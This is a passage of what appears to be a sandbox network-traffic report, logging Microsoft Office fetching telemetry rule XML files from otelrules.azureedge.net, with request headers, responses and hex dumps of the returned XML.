73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:43 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:44 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:44 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031244Z-15b8b599d88phfhnhC1TEBr51n00000000y000000000ccbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:44 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:44 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:45 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:44 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 3272c5ec-601e-003d-7d76-3b6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031244Z-174c587ffdf8fcgwhC1TEBnn70000000010000000000b92f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:45 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:44 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:45 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:45 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: dcdca57e-b01e-003e-0dcb-3b8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031245Z-15b8b599d88cn5thhC1TEBqxkn00000000v00000000017kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:45 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:45 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:46 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:46 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: e7fe902a-801e-0067-6164-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031246Z-178bfbc474bfw4gbhC1NYCunf400000002bg00000000fcwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:46 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:46 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:46 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:46 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: bac6914c-b01e-0002-4559-3c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031246Z-15b8b599d88phfhnhC1TEBr51n00000000zg000000008s95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:46 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:46 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:46 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:46 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031246Z-174c587ffdfn4nhwhC1TEB2nbc0000000110000000000srz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:46 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:47 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:47 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:47 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 48f36a6e-501e-0047-4f4c-3cce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031247Z-15b8b599d889gj5whC1TEBfyk000000000kg00000000g0qg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:47 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:47 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:47 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:47 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: c49a2be7-d01e-005a-3155-3c7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031247Z-15b8b599d88z9sc7hC1TEBkr4w00000001000000000081fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:47 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:48 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:48 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:48 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ee240466-601e-00ab-24f2-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031248Z-178bfbc474bh5zbqhC1NYCkdug00000002bg000000006x8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:48 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:48 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:48 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:48 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: f6495d06-a01e-0021-3357-3c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031248Z-178bfbc474bgvl54hC1NYCsfuw00000002cg000000008s40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:48 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:48 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:49 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:48 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031248Z-15b8b599d88z9sc7hC1TEBkr4w00000001300000000006vr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:49 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:49 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:49 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:49 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 45241df0-c01e-00a1-1a4f-3c7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031249Z-178bfbc474btrnf9hC1NYCb80g00000002f000000000m6ku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
